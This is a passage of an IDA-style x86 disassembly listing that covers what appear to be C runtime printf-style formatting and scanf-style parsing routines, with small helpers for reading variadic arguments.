					; DATA XREF: .text:off_41B20Eo
		mov	[ebp+var_10], edx ; jumptable 0041AB5B case 4
		jmp	loc_41B1F5	; default
; ---------------------------------------------------------------------------


loc_41AC08:				; CODE XREF: sub_41AAED+6Ej
					; DATA XREF: .text:off_41B20Eo
		cmp	bl, 2Ah		; jumptable 0041AB5B case 5
		jnz	short loc_41AC2B
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41B2CC
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_41B1F5	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_41B1F5	; default
; ---------------------------------------------------------------------------


loc_41AC2B:				; CODE XREF: sub_41AAED+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_41B1F5	; default
; ---------------------------------------------------------------------------


loc_41AC3D:				; CODE XREF: sub_41AAED+6Ej
					; DATA XREF: .text:off_41B20Eo
		cmp	bl, 49h		; jumptable 0041AB5B case 6
		jz	short loc_41AC70
		cmp	bl, 68h
		jz	short loc_41AC67
		cmp	bl, 6Ch
		jz	short loc_41AC5E
		cmp	bl, 77h
		jnz	loc_41B1F5	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_41B1F5	; default
; ---------------------------------------------------------------------------


loc_41AC5E:				; CODE XREF: sub_41AAED+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_41B1F5	; default
; ---------------------------------------------------------------------------


loc_41AC67:				; CODE XREF: sub_41AAED+158j
		or	[ebp+var_4], 20h
		jmp	loc_41B1F5	; default
; ---------------------------------------------------------------------------


loc_41AC70:				; CODE XREF: sub_41AAED+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_41AC89
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_41AC89
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_41B1F5	; default
; ---------------------------------------------------------------------------


loc_41AC89:				; CODE XREF: sub_41AAED+186j
					; sub_41AAED+18Cj
		mov	[ebp+var_30], edx


loc_41AC8C:				; CODE XREF: sub_41AAED+6Ej
					; DATA XREF: .text:off_41B20Eo
		mov	ecx, off_435C2C	; jumptable 0041AB5B case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41ACB8
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41B22E
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_41ACB8:				; CODE XREF: sub_41AAED+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41B22E
		add	esp, 0Ch
		jmp	loc_41B1F5	; default
; ---------------------------------------------------------------------------


loc_41ACD0:				; CODE XREF: sub_41AAED+6Ej
					; DATA XREF: .text:off_41B20Eo
		movsx	eax, bl		; jumptable 0041AB5B case 7
		cmp	eax, 67h
		jg	loc_41AEF8
		cmp	eax, 65h
		jge	loc_41AD7B
		cmp	eax, 58h
		jg	loc_41ADD9
		jz	loc_41AF6C
		sub	eax, 43h
		jz	loc_41AD9C
		dec	eax
		dec	eax
		jz	short loc_41AD71
		dec	eax
		dec	eax
		jz	short loc_41AD71
		sub	eax, 0Ch
		jnz	loc_41B0F7
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41AD1A
		or	byte ptr [ebp+var_4+1],	8


loc_41AD1A:				; CODE XREF: sub_41AAED+227j
					; sub_41AAED+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41AD27
		mov	esi, 7FFFFFFFh


loc_41AD27:				; CODE XREF: sub_41AAED+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41B2CC
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_41AF40
		test	ecx, ecx
		jnz	short loc_41AD4F
		mov	ecx, off_435C1C
		mov	[ebp+var_8], ecx


loc_41AD4F:				; CODE XREF: sub_41AAED+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_41AD58:				; CODE XREF: sub_41AAED+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_41AF37
		cmp	word ptr [eax],	0
		jz	loc_41AF37
		inc	eax
		inc	eax
		jmp	short loc_41AD58
; ---------------------------------------------------------------------------


loc_41AD71:				; CODE XREF: sub_41AAED+212j
					; sub_41AAED+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_41AD7B:				; CODE XREF: sub_41AAED+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_41AE5F
		mov	[ebp+var_10], 6
		jmp	loc_41AE6D
; ---------------------------------------------------------------------------


loc_41AD9C:				; CODE XREF: sub_41AAED+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41ADA8
		or	byte ptr [ebp+var_4+1],	8


loc_41ADA8:				; CODE XREF: sub_41AAED+2B5j
					; sub_41AAED+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41ADEF
		call	sub_41B2E9
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41E6A1
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_41AE02
		mov	[ebp+var_28], 1
		jmp	short loc_41AE02
; ---------------------------------------------------------------------------


loc_41ADD9:				; CODE XREF: sub_41AAED+1FBj
		sub	eax, 5Ah
		jz	short loc_41AE10
		sub	eax, 9
		jz	short loc_41ADA8
		dec	eax
		jz	loc_41AFD2
		jmp	loc_41B0F7
; ---------------------------------------------------------------------------


loc_41ADEF:				; CODE XREF: sub_41AAED+2C5j
		call	sub_41B2CC
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_41AE02:				; CODE XREF: sub_41AAED+2E1j
					; sub_41AAED+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_41B0F7
; ---------------------------------------------------------------------------


loc_41AE10:				; CODE XREF: sub_41AAED+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41B2CC
		test	eax, eax
		pop	ecx
		jz	short loc_41AE51
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_41AE51
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_41AE42
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_41B0F7
; ---------------------------------------------------------------------------


loc_41AE42:				; CODE XREF: sub_41AAED+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_41B0F4
; ---------------------------------------------------------------------------


loc_41AE51:				; CODE XREF: sub_41AAED+32Fj
					; sub_41AAED+336j
		mov	eax, off_435C18
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_41AEED
; ---------------------------------------------------------------------------


loc_41AE5F:				; CODE XREF: sub_41AAED+29Dj
		jnz	short loc_41AE6D
		cmp	bl, 67h
		jnz	short loc_41AE6D
		mov	[ebp+var_10], 1


loc_41AE6D:				; CODE XREF: sub_41AAED+2AAj
					; sub_41AAED:loc_41AE5Fj ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_435BE8
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_41AEBF
		cmp	[ebp+var_10], 0
		jnz	short loc_41AEBF
		lea	eax, [ebp+var_248]
		push	eax
		call	off_435BF4
		pop	ecx


loc_41AEBF:				; CODE XREF: sub_41AAED+3BCj
					; sub_41AAED+3C2j
		cmp	bl, 67h
		jnz	short loc_41AED6
		test	esi, esi
		jnz	short loc_41AED6
		lea	eax, [ebp+var_248]
		push	eax
		call	off_435BEC
		pop	ecx


loc_41AED6:				; CODE XREF: sub_41AAED+3D5j
					; sub_41AAED+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_41AEEC
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_41AEEC:				; CODE XREF: sub_41AAED+3F0j
		push	edi


loc_41AEED:				; CODE XREF: sub_41AAED+36Dj
		call	sub_4158E0
		pop	ecx
		jmp	loc_41B0F4
; ---------------------------------------------------------------------------


loc_41AEF8:				; CODE XREF: sub_41AAED+1E9j
		sub	eax, 69h
		jz	loc_41AFD2
		sub	eax, 5
		jz	loc_41AFA8
		dec	eax
		jz	loc_41AF95
		dec	eax
		jz	short loc_41AF65
		sub	eax, 3
		jz	loc_41AD1A
		dec	eax
		dec	eax
		jz	loc_41AFD6
		sub	eax, 3
		jnz	loc_41B0F7
		mov	[ebp+var_2C], 27h
		jmp	short loc_41AF73
; ---------------------------------------------------------------------------


loc_41AF37:				; CODE XREF: sub_41AAED+270j
					; sub_41AAED+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_41B0F4
; ---------------------------------------------------------------------------


loc_41AF40:				; CODE XREF: sub_41AAED+24Fj
		test	ecx, ecx
		jnz	short loc_41AF4D
		mov	ecx, off_435C18
		mov	[ebp+var_8], ecx


loc_41AF4D:				; CODE XREF: sub_41AAED+455j
		mov	eax, ecx


loc_41AF4F:				; CODE XREF: sub_41AAED+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_41AF5E
		cmp	byte ptr [eax],	0
		jz	short loc_41AF5E
		inc	eax
		jmp	short loc_41AF4F
; ---------------------------------------------------------------------------


loc_41AF5E:				; CODE XREF: sub_41AAED+467j
					; sub_41AAED+46Cj
		sub	eax, ecx
		jmp	loc_41B0F4
; ---------------------------------------------------------------------------


loc_41AF65:				; CODE XREF: sub_41AAED+425j
		mov	[ebp+var_10], 8


loc_41AF6C:				; CODE XREF: sub_41AAED+201j
		mov	[ebp+var_2C], 7


loc_41AF73:				; CODE XREF: sub_41AAED+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_41AFDD
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_41AFDD
; ---------------------------------------------------------------------------


loc_41AF95:				; CODE XREF: sub_41AAED+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_41AFDD
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_41AFDD
; ---------------------------------------------------------------------------


loc_41AFA8:				; CODE XREF: sub_41AAED+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41B2CC
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_41AFC1
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_41AFC6
; ---------------------------------------------------------------------------


loc_41AFC1:				; CODE XREF: sub_41AAED+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_41AFC6:				; CODE XREF: sub_41AAED+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_41B1F5	; default
; ---------------------------------------------------------------------------


loc_41AFD2:				; CODE XREF: sub_41AAED+2F7j
					; sub_41AAED+40Ej
		or	[ebp+var_4], 40h


loc_41AFD6:				; CODE XREF: sub_41AAED+432j
		mov	[ebp+var_C], 0Ah


loc_41AFDD:				; CODE XREF: sub_41AAED+491j
					; sub_41AAED+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_41AFEF
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41B2D9
		pop	ecx
		jmp	short loc_41B030
; ---------------------------------------------------------------------------


loc_41AFEF:				; CODE XREF: sub_41AAED+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_41B016
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41B00B
		call	sub_41B2CC
		pop	ecx
		movsx	eax, ax


loc_41B008:				; CODE XREF: sub_41AAED+527j
					; sub_41AAED+539j
		cdq
		jmp	short loc_41B030
; ---------------------------------------------------------------------------


loc_41B00B:				; CODE XREF: sub_41AAED+510j
		call	sub_41B2CC
		pop	ecx
		movzx	eax, ax
		jmp	short loc_41B008
; ---------------------------------------------------------------------------


loc_41B016:				; CODE XREF: sub_41AAED+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41B028
		call	sub_41B2CC
		pop	ecx
		jmp	short loc_41B008
; ---------------------------------------------------------------------------


loc_41B028:				; CODE XREF: sub_41AAED+531j
		call	sub_41B2CC
		pop	ecx
		xor	edx, edx


loc_41B030:				; CODE XREF: sub_41AAED+500j
					; sub_41AAED+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_41B051
		test	edx, edx
		jg	short loc_41B051
		jl	short loc_41B040
		test	eax, eax
		jnb	short loc_41B051


loc_41B040:				; CODE XREF: sub_41AAED+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_41B055
; ---------------------------------------------------------------------------


loc_41B051:				; CODE XREF: sub_41AAED+547j
					; sub_41AAED+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_41B055:				; CODE XREF: sub_41AAED+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_41B05E
		and	edi, 0


loc_41B05E:				; CODE XREF: sub_41AAED+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_41B06D
		mov	[ebp+var_10], 1
		jmp	short loc_41B071
; ---------------------------------------------------------------------------


loc_41B06D:				; CODE XREF: sub_41AAED+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_41B071:				; CODE XREF: sub_41AAED+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_41B07B
		and	[ebp+var_1C], 0


loc_41B07B:				; CODE XREF: sub_41AAED+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_41B081:				; CODE XREF: sub_41AAED+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_41B091
		mov	eax, esi
		or	eax, edi
		jz	short loc_41B0CC


loc_41B091:				; CODE XREF: sub_41AAED+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_4170E0
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_417070
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_41B0C2
		add	ebx, [ebp+var_2C]


loc_41B0C2:				; CODE XREF: sub_41AAED+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_41B081
; ---------------------------------------------------------------------------


loc_41B0CC:				; CODE XREF: sub_41AAED+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_41B0F7
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_41B0EA
		test	eax, eax
		jnz	short loc_41B0F7


loc_41B0EA:				; CODE XREF: sub_41AAED+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_41B0F4:				; CODE XREF: sub_41AAED+35Fj
					; sub_41AAED+406j ...
		mov	[ebp+var_C], eax


loc_41B0F7:				; CODE XREF: sub_41AAED+21Bj
					; sub_41AAED+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_41B1F5	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_41B12F
		test	bh, 1
		jz	short loc_41B114
		mov	[ebp+var_16], 2Dh
		jmp	short loc_41B128
; ---------------------------------------------------------------------------


loc_41B114:				; CODE XREF: sub_41AAED+61Fj
		test	bl, 1
		jz	short loc_41B11F
		mov	[ebp+var_16], 2Bh
		jmp	short loc_41B128
; ---------------------------------------------------------------------------


loc_41B11F:				; CODE XREF: sub_41AAED+62Aj
		test	bl, 2
		jz	short loc_41B12F
		mov	[ebp+var_16], 20h


loc_41B128:				; CODE XREF: sub_41AAED+625j
					; sub_41AAED+630j
		mov	[ebp+var_1C], 1


loc_41B12F:				; CODE XREF: sub_41AAED+61Aj
					; sub_41AAED+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_41B14F
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41B263
		add	esp, 10h


loc_41B14F:				; CODE XREF: sub_41AAED+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_41B294
		add	esp, 10h
		test	bl, 8
		jz	short loc_41B181
		test	bl, 4
		jnz	short loc_41B181
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_41B263
		add	esp, 10h


loc_41B181:				; CODE XREF: sub_41AAED+67Bj
					; sub_41AAED+680j
		cmp	[ebp+var_24], 0
		jz	short loc_41B1C8
		cmp	[ebp+var_C], 0
		jle	short loc_41B1C8
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_41B196:				; CODE XREF: sub_41AAED+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_41E6A1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41B1DD
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_41B294
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_41B196
		jmp	short loc_41B1DD
; ---------------------------------------------------------------------------


loc_41B1C8:				; CODE XREF: sub_41AAED+698j
					; sub_41AAED+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_41B294
		add	esp, 10h


loc_41B1DD:				; CODE XREF: sub_41AAED+6BCj
					; sub_41AAED+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_41B1F5 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41B263
		add	esp, 10h


loc_41B1F5:				; CODE XREF: sub_41AAED+68j
					; sub_41AAED+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_41AB19


loc_41B206:				; CODE XREF: sub_41AAED+1Fj
					; sub_41AAED+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AAED	endp

; ---------------------------------------------------------------------------
off_41B20E	dd offset loc_41AC8C	; DATA XREF: sub_41AAED+6Er
		dd offset loc_41AB62	; jump table for switch	statement
		dd offset loc_41AB7D
		dd offset loc_41ABC9
		dd offset loc_41AC00
		dd offset loc_41AC08
		dd offset loc_41AC3D
		dd offset loc_41ACD0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B22E	proc near		; CODE XREF: sub_41AAED+1BDp
					; sub_41AAED+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_41B247
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_41B252
; ---------------------------------------------------------------------------


loc_41B247:				; CODE XREF: sub_41B22E+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_41A9D8
		pop	ecx
		pop	ecx


loc_41B252:				; CODE XREF: sub_41B22E+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_41B25F
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41B25F:				; CODE XREF: sub_41B22E+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41B22E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B263	proc near		; CODE XREF: sub_41AAED+65Ap
					; sub_41AAED+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_41B291
		mov	esi, [esp+8+arg_C]


loc_41B274:				; CODE XREF: sub_41B263+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_41B22E
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_41B291
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_41B274


loc_41B291:				; CODE XREF: sub_41B263+Bj
					; sub_41B263+25j
		pop	edi
		pop	esi
		retn
sub_41B263	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B294	proc near		; CODE XREF: sub_41AAED+670p
					; sub_41AAED+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_41B2C8
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_41B2AA:				; CODE XREF: sub_41B294+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_41B22E
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_41B2C8
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_41B2AA


loc_41B2C8:				; CODE XREF: sub_41B294+Cj
					; sub_41B294+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41B294	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B2CC	proc near		; CODE XREF: sub_41AAED+E5p
					; sub_41AAED+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_41B2CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B2D9	proc near		; CODE XREF: sub_41AAED+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_41B2D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B2E9	proc near		; CODE XREF: sub_41AAED+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_41B2E9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B2F7	proc near		; CODE XREF: sub_416773+7p
					; sub_416773+26p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_418317
		test	eax, eax
		pop	ecx
		jz	short loc_41B30F
		mov	eax, [esi-4]
		pop	esi
		sub	eax, 9
		retn
; ---------------------------------------------------------------------------


loc_41B30F:				; CODE XREF: sub_41B2F7+Ej
		push	esi
		push	0
		push	dword_49426C
		call	ds:dword_495464	; RtlSizeHeap
		pop	esi
		retn
sub_41B2F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B320	proc near		; CODE XREF: sub_416B36+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_41BD26
		mov	edi, [ebp+arg_0]
		jmp	short loc_41B34F
; ---------------------------------------------------------------------------


loc_41B34A:				; CODE XREF: sub_41B320+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_41B34F:				; CODE XREF: sub_41B320+28j
		cmp	dword_435E38, 1
		jle	short loc_41B367
		movzx	eax, al
		push	8
		push	eax
		call	sub_41BDD1
		pop	ecx
		pop	ecx
		jmp	short loc_41B376
; ---------------------------------------------------------------------------


loc_41B367:				; CODE XREF: sub_41B320+36j
		mov	ecx, off_435C2C
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41B376:				; CODE XREF: sub_41B320+45j
		cmp	eax, ebx
		jz	short loc_41B3B0
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_41BDAD
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41BD96
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41E8A4
		add	esp, 0Ch


loc_41B39E:				; CODE XREF: sub_41B320+8Ej
		test	eax, eax
		jz	short loc_41B3B0
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41E8A4
		pop	ecx
		jmp	short loc_41B39E
; ---------------------------------------------------------------------------


loc_41B3B0:				; CODE XREF: sub_41B320+58j
					; sub_41B320+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_41BC92
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_41B3E7:				; CODE XREF: sub_41B320+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_435E38, 1
		jle	short loc_41B404
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41BDD1
		pop	ecx
		pop	ecx
		jmp	short loc_41B413
; ---------------------------------------------------------------------------


loc_41B404:				; CODE XREF: sub_41B320+D3j
		mov	ecx, off_435C2C
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41B413:				; CODE XREF: sub_41B320+E2j
		test	eax, eax
		jz	short loc_41B429
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_41B48E
; ---------------------------------------------------------------------------


loc_41B429:				; CODE XREF: sub_41B320+F5j
		cmp	ebx, 4Eh
		jg	short loc_41B46C
		jz	short loc_41B48E
		cmp	ebx, 2Ah
		jz	short loc_41B467
		cmp	ebx, 46h
		jz	short loc_41B48E
		cmp	ebx, 49h
		jz	short loc_41B449
		cmp	ebx, 4Ch
		jnz	short loc_41B47B
		inc	[ebp+var_D]
		jmp	short loc_41B48E
; ---------------------------------------------------------------------------


loc_41B449:				; CODE XREF: sub_41B320+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_41B47B
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_41B47B
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_41B48E
; ---------------------------------------------------------------------------


loc_41B467:				; CODE XREF: sub_41B320+113j
		inc	[ebp+var_E]
